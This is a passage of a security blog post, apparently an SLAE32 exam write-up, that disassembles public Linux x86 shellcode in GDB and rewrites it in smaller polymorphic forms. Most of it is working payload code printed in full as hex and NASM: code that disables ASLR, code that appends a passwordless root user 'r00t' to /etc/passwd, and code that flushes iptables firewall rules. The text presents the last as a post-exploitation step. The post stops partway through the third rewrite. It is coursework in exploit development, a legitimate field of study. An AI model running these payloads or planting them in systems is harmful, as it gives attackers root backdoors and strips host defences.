\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/jack\/SLAE32\/Assignment 6: Polymorphism]\n\u2514\u2500# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\n<\/pre><\/div>\n\n\nThen, we fire up GDB with the PEDA plugin enabled and set a breakpoint on the main function:<\/p>\n\n\n\n<\/p>\n\n\n\n
We hit the breakpoint and disassemble the code<\/strong> variable containing the shellcode.<\/p>\n\n\n\n<\/p>\n\n\n\n
We then set a breakpoint to the first instruction and begin our analysis.<\/p>\n\n\n\n
We come to our first set of interesting instructions, which involve pushing several hex encoded strings to the stack.<\/p>\n\n\n\n
After the first PUSH instruction is executed, we inspect the stack and see the first string, \"pace\".<\/p>\n\n\n\n<\/p>\n\n\n\n
This appears to be the end of the filepath '\/proc\/sys\/kernel\/randomize_va_space'.<\/p>\n\n\n\n<\/p>\n\n\n\n
Iterating over the rest of the PUSH instructions, we construct the complete string, confirming the intention of the instructions is to push the file pathname to the stack for later use.<\/p>\n\n\n\n<\/p>\n\n\n\n
After the pathname is pushed to the stack, we see that it is moved into the EBX<\/strong> register. Next, hex value 0x2bc<\/strong> is moved into the ECX<\/strong> register, and 0x8<\/strong> is moved into AL<\/strong>. Based on the syscall number, this indicates a syscall to the creat<\/strong> function is imminent.<\/p>\n\n\n\n<\/p>\n\n\n\n
Below is the function header for creat<\/strong>:<\/p>\n\n\n\nint creat(const char *pathname, mode_t mode);\n<\/pre><\/div>\n\n\nFrom our analysis above, we can deduce that the creat<\/strong> syscall is being used to open or create a file at the given pathname<\/strong> of ''\/proc\/sys\/kernel\/randomize_va_space' with mode_t<\/strong> set to 0x2bc<\/strong> or 700<\/strong> in decimal.<\/p>\n\n\n\n<\/p>\n\n\n\n
In this case, as 700<\/strong> is chosen, this sets the user context in which the shell code is running to have full read, write and execute permissions over the file.<\/p>\n\n\n\n<\/p>\n\n\n\n
Once this file is open, a file descriptor (fd<\/strong>) value is stored in EAX<\/strong>. The shellcode moves this value into EBX<\/strong> register with the mov<\/strong> instruction, and pushes it to the stack. Next, the value 0x3a30<\/strong> is moved into the DX<\/strong> register and pushed to the stack, before ESP<\/strong> is moved into ECX<\/strong> and EDX<\/strong> is cleared. The value 0x3a30<\/strong> is equivalent to the ascii representation \":0<\/strong>\".<\/p>\n\n\n\n<\/p>\n\n\n\n
Following this, the value 0x4<\/strong> is moved into AL<\/strong>. Based on the syscall number, this indicates a syscall to the write<\/strong> function will be made.<\/p>\n\n\n\n<\/p>\n\n\n\n
Below is the function header for write<\/strong>:<\/p>\n\n\n\nssize_t write(int fd, const void *buf, size_t count);\n<\/pre><\/div>\n\n\n<\/p>\n\n\n\n
Following the syscall, the shellcode simply moves the value 0x6<\/strong> into the AL<\/strong> register, which is the syscall for close<\/strong>, effectively closing the file.<\/p>\n\n\n\n<\/p>\n\n\n\n
We confirm the syscall for close<\/strong> as follows:<\/p>\n\n\n\n<\/p>\n\n\n\n
Upon the file being successfully closed, the value 0x0<\/strong> is moved into EAX<\/strong>. This means that the shellcode just has to increment EAX<\/strong>, setting it to 0x1<\/strong> to contain the syscall for exit<\/strong>. This will gracefully exit the shellcode.<\/p>\n\n\n\n<\/p>\n\n\n\n
We check the \/proc\/sys\/kernel\/randomize_va_space file and confirm that it has been changed to contain '0', effectively disabling ASLR as intended.<\/p>\n\n\n\n<\/p>\n\n\n\n
Shellcode 1: Polymorphic version<\/h3>\n\n\n\n Before we make any changes to the assembly instructions, we create a copy of the original in a separate file as below. The original shellcode size is 83 bytes<\/strong>:<\/p>\n\n\n\n; Linux x86 ASLR deactivation - 83 bytes\n; Author: Jean Pascal Pereira <pereira@secbiz.de>\n; Website: http:\/\/0xffe4.org\n;\n; Purpose: SLAE32 exam assignment\n;\n;\n; Assignment 6: Polymorphism\n\nglobal _start\n\nsection .text\n\n_start:\n xor eax,eax \n push eax \n push dword 0x65636170\n push dword 0x735f6176\n push dword 0x5f657a69\n push dword 0x6d6f646e\n push dword 0x61722f6c\n push dword 0x656e7265\n push dword 0x6b2f7379\n push dword 0x732f636f\n push dword 0x72702f2f\n mov ebx,esp \n mov cx,0x2bc \n mov al,0x8 \n int 0x80 \n mov ebx,eax \n push eax \n mov dx,0x3a30 \n push dx \n mov ecx,esp \n xor edx,edx \n inc edx \n mov al,0x4 \n int 0x80 \n mov al,0x6 \n int 0x80 \n inc eax \n int 0x80\n<\/pre><\/div>\n\n\nOur updated polymorphic version is as follows:<\/p>\n\n\n
\n; disable_aslr_polymorphic.nasm - 71 bytes\n; Author: Jack McBride (PA-6483)\n; Website: https:\/\/jacklgmcbride.co.uk\n;\n; Purpose: SLAE32 exam assignment\n;\n;\n; Assignment 6: Polymorphism\n\nglobal _start\n\nsection .text\n\n_start:\n jmp _aslr\n\n_main:\n xor eax, eax\n pop ebx\n mov cx,0x2bc \n mov al,0x8 \n int 0x80 \n mov ebx,eax \n push byte 0x30\n mov ecx,esp \n inc edx \n mov al,0x4 \n int 0x80 \n mov al,0x6 \n int 0x80 \n inc eax \n int 0x80\n\n_aslr:\n call _main\n db '\/proc\/sys\/kernel\/randomize_va__space'\n<\/pre><\/div>\n\n\nOur polymorphic<\/strong> version is 71 bytes<\/strong> (12 bytes less than the original) = 15.5% size decrease<\/strong>.<\/p>\n\n\n\nIn the original, the main standout feature is the 9 push instructions used to push the file path \/proc\/sys\/kernel\/randomize_va_space<\/strong> to the stack.<\/p>\n\n\n\n<\/p>\n\n\n\n
Instead of using the stack technique, our polymorphic version instead uses the jmp-call-pop<\/strong> technique to pop the pathname argument into the EBX<\/strong> register. In this way, the previously implemented push instructions are avoided.<\/p>\n\n\n\nAdditionally, the call to the write<\/strong> syscall which originally used 0x3a30<\/strong> has been truncated to a simple push byte 0x30<\/strong> instruction, as writing the value '0' into the randomize_va_space file was found to be sufficient.<\/p>\n\n\n\nTo further consolidate on space, the polymorphic version removes unnecessary calls to clear or increment registers which were found to be unused.<\/p>\n\n\n\n
We run the new polymorphic shellcode and confirm that it works as expected:<\/p>\n\n\n\n<\/p>\n\n\n\n
Shellcode 2: Linux\/x86 - add root user (r00t) with no password to \/etc\/passwd<\/h2>\n\n\n\n The next shellcode we will look at is said to add a passwordless local account with root permissions, under the name of 'r00t'. The functionality of this is quite self-explanatory so we will jump into performing our analysis with ndisasm.<\/p>\n\n\n\n
Ndisasm Analysis<\/h3>\n\n\n\n The shellcode obtained from shell-storm is as follows:<\/p>\n\n\n
\n\/* By Kris Katterjohn 11\/14\/2006\n *\n * 69 byte shellcode to add root user 'r00t' with no password to \/etc\/passwd\n *\n * for Linux\/x86\n *\n *\n *\n * section .text\n *\n * global _start\n *\n * _start:\n *\n * ; open("\/etc\/\/passwd", O_WRONLY | O_APPEND)\n *\n * push byte 5\n * pop eax\n * xor ecx, ecx\n * push ecx\n * push 0x64777373\n * push 0x61702f2f\n * push 0x6374652f\n * mov ebx, esp\n * mov cx, 02001Q\n * int 0x80\n *\n * mov ebx, eax\n *\n * ; write(ebx, "r00t::0:0:::", 12)\n *\n * push byte 4\n * pop eax\n * xor edx, edx\n * push edx\n * push 0x3a3a3a30\n * push 0x3a303a3a\n * push 0x74303072\n * mov ecx, esp\n * push byte 12\n * pop edx\n * int 0x80\n *\n * ; close(ebx)\n *\n * push byte 6\n * pop eax\n * int 0x80\n *\n * ; exit()\n *\n * push byte 1\n * pop eax\n * int 0x80\n *\/\n\nmain()\n{\n char shellcode[] =\n "\\x6a\\x05\\x58\\x31\\xc9\\x51\\x68\\x73\\x73\\x77\\x64\\x68"\n "\\x2f\\x2f\\x70\\x61\\x68\\x2f\\x65\\x74\\x63\\x89\\xe3\\x66"\n "\\xb9\\x01\\x04\\xcd\\x80\\x89\\xc3\\x6a\\x04\\x58\\x31\\xd2"\n "\\x52\\x68\\x30\\x3a\\x3a\\x3a\\x68\\x3a\\x3a\\x30\\x3a\\x68"\n "\\x72\\x30\\x30\\x74\\x89\\xe1\\x6a\\x0c\\x5a\\xcd\\x80\\x6a"\n "\\x06\\x58\\xcd\\x80\\x6a\\x01\\x58\\xcd\\x80";\n\n (*(void (*)()) shellcode)();\n}\n--\n<\/pre><\/div>\n\n\nTo begin, we once again disassemble the shellcode using ndisasm:<\/p>\n\n\n
\necho -ne "\\x6a\\x05\\x58\\x31\\xc9\\x51\\x68\\x73\\x73\\x77\\x64\\x68\\x2f\\x2f\\x70\\x61\\x68\\x2f\\x65\\x74\\x63\\x89\\xe3\\x66\\xb9\\x01\\x04\\xcd\\x80\\x89\\xc3\\x6a\\x04\\x58\\x31\\xd2\\x52\\x68\\x30\\x3a\\x3a\\x3a\\x68\\x3a\\x3a\\x30\\x3a\\x68\\x72\\x30\\x30\\x74\\x89\\xe1\\x6a\\x0c\\x5a\\xcd\\x80\\x6a\\x06\\x58\\xcd\\x80\\x6a\\x01\\x58\\xcd\\x80" | ndisasm -u -\n00000000 6A05 push byte +0x5\n00000002 58 pop eax\n00000003 31C9 xor ecx,ecx\n00000005 51 push ecx\n00000006 6873737764 push dword 0x64777373\n0000000B 682F2F7061 push dword 0x61702f2f\n00000010 682F657463 push dword 0x6374652f\n00000015 89E3 mov ebx,esp\n00000017 66B90104 mov cx,0x401\n0000001B CD80 int 0x80\n0000001D 89C3 mov ebx,eax\n0000001F 6A04 push byte +0x4\n00000021 58 pop eax\n00000022 31D2 xor edx,edx\n00000024 52 push edx\n00000025 68303A3A3A push dword 0x3a3a3a30\n0000002A 683A3A303A push dword 0x3a303a3a\n0000002F 6872303074 push dword 0x74303072\n00000034 89E1 mov ecx,esp\n00000036 6A0C push byte +0xc\n00000038 5A pop edx\n00000039 CD80 int 0x80\n0000003B 6A06 push byte +0x6\n0000003D 58 pop eax\n0000003E CD80 int 0x80\n00000040 6A01 push byte +0x1\n00000042 58 pop eax\n00000043 CD80 int 0x80\n<\/pre><\/div>\n\n\nGDB Analysis<\/h3>\n\n\n\n Now that we have obtained the raw assembly instructions, we next look at performing analysis using GDB.<\/p>\n\n\n\n
To begin, we take the shellcode buffer and insert it into our C skeleton program:<\/p>\n\n\n
\n#include<stdio.h>\n#include<string.h>\n\nunsigned char code[] = \\\n"\\x6a\\x05\\x58\\x31\\xc9\\x51\\x68\\x73\\x73\\x77\\x64\\x68\\x2f\\x2f\\x70\\x61\\x68\\x2f\\x65\\x74\\x63\\x89\\xe3\\x66\\xb9\\x01\\x04\\xcd\\x80\\x89\\xc3\\x6a\\x04\\x58\\x31\\xd2\\x52\\x68\\x30\\x3a\\x3a\\x3a\\x68\\x3a\\x3a\\x30\\x3a\\x68\\x72\\x30\\x30\\x74\\x89\\xe1\\x6a\\x0c\\x5a\\xcd\\x80\\x6a\\x06\\x58\\xcd\\x80\\x6a\\x01\\x58\\xcd\\x80";\n\nint main()\n{\n\n printf("Shellcode Length: %d\\n", strlen(code));\n\n int (*ret)() = (int(*)())code;\n\n ret();\n\n}\n<\/pre><\/div>\n\n\nWe compile it with GCC:<\/p>\n\n\n
\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/jack\/SLAE32\/Assignment 6: Polymorphism]\n\u2514\u2500# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\n<\/pre><\/div>\n\n\nWe then start GDB and set two breakpoints: one on the main<\/strong> function, and the next at the first assembly instruction in the code<\/strong> variable as follows:<\/p>\n\n\n\n<\/p>\n\n\n\n
After the initial instructions, we see that the string \/etc\/passwd<\/strong> is pushed in reverse to the stack:<\/p>\n\n\n\n<\/p>\n\n\n\n
The function header for the open<\/strong> syscall is as follows:<\/p>\n\n\n\nint open(const char *pathname, int flags);\n<\/pre><\/div>\n\n\nNext, the arguments for the syscall to open<\/strong> are arranged in the registers prior to the call below:<\/p>\n\n\n\n<\/p>\n\n\n\n
Following the syscall, the file descriptor for the \/etc\/passwd<\/strong> file is moved from EAX<\/strong> into EBX<\/strong>, and a new value 0x4<\/strong> is moved into EAX<\/strong>. This value 0x4<\/strong> corresponds to the write<\/strong> syscall.<\/p>\n\n\n\n<\/p>\n\n\n\n
The write<\/strong> function header is as follows:<\/p>\n\n\n\nssize_t write(int fd, const void *buf, size_t count);\n<\/pre><\/div>\n\n\nFollowing this, the string to write into \/etc\/passwd<\/strong> is pushed to the stack. As per the function header for the write<\/strong> syscall, the value to write into the file is pointed to by the ECX<\/strong> register.<\/p>\n\n\n\n<\/p>\n\n\n\n
Prior to the call to write<\/strong>, the syscall arguments are arranged as follows:<\/p>\n\n\n\n<\/p>\n\n\n\n
To close the file, the close<\/strong> syscall is used, and takes the file descriptor of the file it will close.<\/p>\n\n\n\nThe close<\/strong> function header is as follows:<\/p>\n\n\n\nint close(int fd);\n<\/pre><\/div>\n\n\n<\/p>\n\n\n\n
After the modified file is closed, the exit<\/strong> syscall is called, by moving 0x1<\/strong> into EAX<\/strong> and calling int 0x80<\/strong>.<\/p>\n\n\n\n<\/p>\n\n\n\n
Following our analysis of the shellcode, we check our local \/etc\/passwd<\/strong> file and confirm that the new user r00t has been appended.<\/p>\n\n\n\n<\/p>\n\n\n\n
Shellcode 2: Polymorphic version<\/h3>\n\n\n\n Before we make any changes to the assembly instructions, we create a copy of the original in a separate file as below. The original shellcode size is 69 bytes<\/strong>.<\/p>\n\n\n\n\/* By Kris Katterjohn 11\/14\/2006\n *\n * 69 byte shellcode to add root user 'r00t' with no password to \/etc\/passwd\n *\n * for Linux\/x86\n *\n *\n *\n * section .text\n *\n * global _start\n *\n * _start:\n *\n * ; open("\/etc\/\/passwd", O_WRONLY | O_APPEND)\n *\n * push byte 5\n * pop eax\n * xor ecx, ecx\n * push ecx\n * push 0x64777373\n * push 0x61702f2f\n * push 0x6374652f\n * mov ebx, esp\n * mov cx, 02001Q\n * int 0x80\n *\n * mov ebx, eax\n *\n * ; write(ebx, "r00t::0:0:::", 12)\n *\n * push byte 4\n * pop eax\n * xor edx, edx\n * push edx\n * push 0x3a3a3a30\n * push 0x3a303a3a\n * push 0x74303072\n * mov ecx, esp\n * push byte 12\n * pop edx\n * int 0x80\n *\n * ; close(ebx)\n *\n * push byte 6\n * pop eax\n * int 0x80\n *\n * ; exit()\n *\n * push byte 1\n * pop eax\n * int 0x80\n *\/\n<\/pre><\/div>\n\n\nOur updated version is as follows:<\/p>\n\n\n
\n; adduser_polymorphic.nasm - 45 bytes\n; Author: Jack McBride (PA-6483)\n; Website: https:\/\/jacklgmcbride.co.uk\n;\n; Purpose: SLAE32 exam assignment\n;\n;\n; Assignment 6: Polymorphism\n\nglobal _start\n\nsection .text\n\n_start:\n jmp _cmd\n\n_main:\n pop edx; store string to be added to \/etc\/passwd\n push byte 0x46\n pop eax\n int 0x80; call setreuid\n mov al, 0x5\n push ecx\n push 0x64777373\n push 0x61702f2f\n push 0x6374652f\n mov ebx, esp\n inc ecx\n mov ch, 0x4\n int 0x80; call open on \/etc\/passwd with 401 flags\n xor ecx, ecx\n push ecx\n xchg ecx, edx\n xchg ebx, eax\n xor eax, eax\n mov al, 0x4\n mov edx, 0x1A\n int 0x80; call write to append new user to \/etc\/passwd\n xchg eax, esi\n int 0x80\n\n_cmd:\n call _main\n db "r00t::0:0::\/root:\/bin\/bash", 0xA\n<\/pre><\/div>\n\n\nOur polymorphic<\/strong> version is 45 bytes<\/strong> (24 bytes less than the original) = 42% size decrease<\/strong>.<\/p>\n\n\n\nTo improve efficiency over the original shellcode, we opted to use the jmp-call-pop<\/strong> technique instead of pushing the hex encoded values for the new user account to the stack.<\/p>\n\n\n\nIn addition, we remove any unnecessary changes to registers, namely XOR<\/strong> instructions designed to clear registers that are already cleared. Additionally, we have removed the syscall to close<\/strong> the file descriptor for \/etc\/passwd<\/strong> once we have finished writing to it, as the operating system will do this automatically for us following the call to exit<\/strong>.<\/p>\n\n\n\nShellcode 3: Linux\/x86 - iptables -F - 70 bytes<\/h2>\n\n\n\n The final shellcode that we will analyse is designed to flush all host-based firewall rules by issuing the iptables -F<\/strong> command.<\/p>\n\n\n\nThis can be used on a host which is blocking network communications to management ports such as SSH and might be later used by an attacker during the post-exploitation phase to perform further actions which require having a shell on the machine.<\/p>\n\n\n\n
Ndisasm Analysis<\/h3>\n\n\n\n The shellcode obtained from shell-storm is as follows:<\/p>\n\n\n
\nAuthor: zillion\nEmail: zillion@safemode.org\nHome: http:\/\/www.safemode.org\n\nLinux x86 shellcode that does an execve() of \/sbin\/iptables -F in order to\nflush activated firewall rules.\n\nFile: flush-iptables-shell.c\n\n\/*\n * This shellcode will do \/sbin\/iptables -F\n * Written by zillion@safemode.org\n *\n *\/\n\nchar shellcode[]=\n "\\xeb\\x21\\x5e\\x31\\xc0\\x88\\x46\\x0e\\x88\\x46\\x11\\x89\\x76\\x12\\x8d"\n "\\x5e\\x0f\\x89\\x5e\\x16\\x89\\x46\\x1a\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x12"\n "\\x8d\\x56\\x1a\\xcd\\x80\\xe8\\xda\\xff\\xff\\xff\\x2f\\x73\\x62\\x69\\x6e"\n "\\x2f\\x69\\x70\\x74\\x61\\x62\\x6c\\x65\\x73\\x38\\x2d\\x46\\x32\\x33\\x34"\n "\\x35\\x36\\x37\\x38\\x39\\x61\\x62\\x63\\x64\\x65";\n\nint main()\n{\n\n int *ret;\n ret = (int *)&ret + 2;\n (*ret) = (int)shellcode;\n}\n<\/pre><\/div>\n\n\nTo begin, we disassemble the shellcode into its assembly instructions using ndisasm:<\/p>\n\n\n
\necho -ne "\\xeb\\x21\\x5e\\x31\\xc0\\x88\\x46\\x0e\\x88\\x46\\x11\\x89\\x76\\x12\\x8d\\x5e\\x0f\\x89\\x5e\\x16\\x89\\x46\\x1a\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x12\\x8d\\x56\\x1a\\xcd\\x80\\xe8\\xda\\xff\\xff\\xff\\x2f\\x73\\x62\\x69\\x6e\\x2f\\x69\\x70\\x74\\x61\\x62\\x6c\\x65\\x73\\x38\\x2d\\x46\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x61\\x62\\x63\\x64\\x65" | ndisasm -u -\n00000000 EB21 jmp short 0x23\n00000002 5E pop esi\n00000003 31C0 xor eax,eax\n00000005 88460E mov [esi+0xe],al\n00000008 884611 mov [esi+0x11],al\n0000000B 897612 mov [esi+0x12],esi\n0000000E 8D5E0F lea ebx,[esi+0xf]\n00000011 895E16 mov [esi+0x16],ebx\n00000014 89461A mov [esi+0x1a],eax\n00000017 B00B mov al,0xb\n00000019 89F3 mov ebx,esi\n0000001B 8D4E12 lea ecx,[esi+0x12]\n0000001E 8D561A lea edx,[esi+0x1a]\n00000021 CD80 int 0x80\n00000023 E8DAFFFFFF call 0x2\n00000028 2F das\n00000029 7362 jnc 0x8d\n0000002B 696E2F69707461 imul ebp,[esi+0x2f],dword 0x61747069\n00000032 626C6573 bound ebp,[ebp+0x73]\n00000036 382D46323334 cmp [dword 0x34333246],ch\n0000003C 3536373839 xor eax,0x39383736\n00000041 61 popa\n00000042 626364 bound esp,[ebx+0x64]\n00000045 65 gs\n<\/pre><\/div>\n\n\nAs this shellcode is using the jmp-call-pop<\/strong> technique, we notice that the assembly instructions that we get from ndisasm don't exactly match the commented assembly provided by the shellcode author.<\/p>\n\n\n\nWe can investigate further using GDB.<\/p>\n\n\n\n
GDB Analysis<\/h3>\n\n\n\n To begin, we take the shellcode buffer and insert it into the C program:<\/p>\n\n\n
\n#include<stdio.h>\n#include<string.h>\n\nunsigned char code[] = \\\n"\\xeb\\x21\\x5e\\x31\\xc0\\x88\\x46\\x0e\\x88\\x46\\x11\\x89\\x76\\x12\\x8d\\x5e\\x0f\\x89\\x5e\\x16\\x89\\x46\\x1a\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x12\\x8d\\x56\\x1a\\xcd\\x80\\xe8\\xda\\xff\\xff\\xff\\x2f\\x73\\x62\\x69\\x6e\\x2f\\x69\\x70\\x74\\x61\\x62\\x6c\\x65\\x73\\x38\\x2d\\x46\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x61\\x62\\x63\\x64\\x65";\n\nint main()\n{\n\n printf("Shellcode Length: %d\\n", strlen(code));\n\n int (*ret)() = (int(*)())code;\n\n ret();\n\n}\n\n<\/pre><\/div>\n\n\nWe compile it with GCC:<\/p>\n\n\n
\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/jack\/SLAE32\/Assignment 6: Polymorphism]\n\u2514\u2500# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\n<\/pre><\/div>\n\n\nWe then start GDB and set two breakpoints: one on the main<\/strong> function, and the next at the first assembly instruction in the code<\/strong> variable as follows:<\/p>\n\n\n\n<\/p>\n\n\n\n
After the initial instructions, we note that the code is performing the jmp-call-pop<\/strong> technique to push the command to the stack.<\/p>\n\n\n\n<\/p>\n\n\n\n
Next, the command string is broken down into segments by inserting null bytes into the ESI<\/strong> register at specific offsets:<\/p>\n\n\n\n<\/p>\n\n\n\n
Based on the argument structure of execve<\/strong>, the first argument is the pathname<\/strong> of the program that is being executed. As the shellcode is executing the iptables -F<\/strong> command, the pathname<\/strong> argument will be set to \/sbin\/iptables<\/strong> and argv<\/strong> will be set to -F<\/strong>.<\/p>\n\n\n\nThe function header for execve<\/strong> is as follows:<\/p>\n\n\n\nint execve(const char *pathname, char *const argv[], char *const envp[]);\n<\/pre><\/div>\n\n\nIn order to supply the arguments to execve<\/strong>, they are pushed as strings to the stack and appended with a null terminator to indicate the end of each string. Once this is done, a pointer to the pathname and a pointer to the arguments are moved into the EBX<\/strong> and ECX<\/strong> registers respectively.<\/p>\n\n\n\nNext, for the call to execve<\/strong>, the value 0x11<\/strong> is moved into EAX<\/strong><\/p>\n\n\n\n<\/p>\n\n\n\n
Finally, the syscall to execve<\/strong> is called.<\/p>\n\n\n\n<\/p>\n\n\n\n
Checking the output of the iptables -L<\/strong> command, we confirm that the iptables entry on our machine is empty, indicating that the shellcode worked as intended.<\/p>\n\n\n\n<\/p>\n\n\n\n
Shellcode 3: Polymorphic version<\/h3>\n\n\n\n Before we make any changes to the assembly instructions, we create a copy of the original in a separate file as below. The original shellcode is
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508114719.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508120406.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508120445.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508121456.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508121555.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508121731.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508122130.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508123120.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508122435.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508123045.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508123307.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508123635.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508123824.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508123727.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508124038.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508124121.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508150340.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220508151431.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220509103141.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220509103604.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220509103952.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220509104403.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220509104706.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220509105559.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220509111026.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220509111215.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220509111247.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220510215248.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220510215914.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220510221052.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220510222420.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220510222731.png\")
<\/figure>\n\n\n\n![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220510223708.png\")
<\/figure>\n\n\n\n